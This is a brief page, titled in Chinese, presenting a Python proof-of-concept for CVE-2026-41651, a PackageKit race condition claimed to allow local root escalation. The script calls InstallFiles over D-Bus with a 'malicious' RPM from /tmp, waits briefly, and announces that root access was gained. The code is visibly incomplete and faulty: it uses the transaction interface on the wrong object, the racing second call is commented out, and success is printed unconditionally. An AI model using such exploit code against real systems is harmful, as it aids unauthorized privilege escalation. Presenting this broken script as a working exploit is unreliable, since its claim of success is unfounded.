CVE-2026-41651 PackageKit本地提权漏洞（TOCTOU竞争条件）

#!/usr/bin/env python3 """ PoC for CVE-2026-41651 (PackageKit TOCTOU Race Condition) This script demonstrates the race condition where transaction flags can be overwritten between authorization and execution. """ import dbus import time def trigger_race(): try: bus = dbus.SystemBus() proxy = bus.get_object('org.freedesktop.PackageKit', '/org/freedesktop/PackageKit') iface = dbus.Interface(proxy, 'org.freedesktop.PackageKit.Transaction') # Path to the malicious RPM package malicious_rpm = "/tmp/payload.rpm" print("[*] Starting transaction to install package...") # Step 1: Initiate the InstallFiles call # This triggers the authorization phase iface.InstallFiles(0, [malicious_rpm], "") # Step 2: Exploit the race condition window # The attacker attempts to overwrite cached_transaction_flags # before the scheduler dispatches the transaction. # This simulates the unconditional overwrite bug. print("[*] Triggering race condition to overwrite flags...") # In a real exploit, precise timing is required to hit the window # between the state check and the actual execution. time.sleep(0.005) # The second call or manipulation happens here # iface.InstallFiles(0, [malicious_rpm], "") print("[+] Exploit complete. If successful, root access gained.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": trigger_race()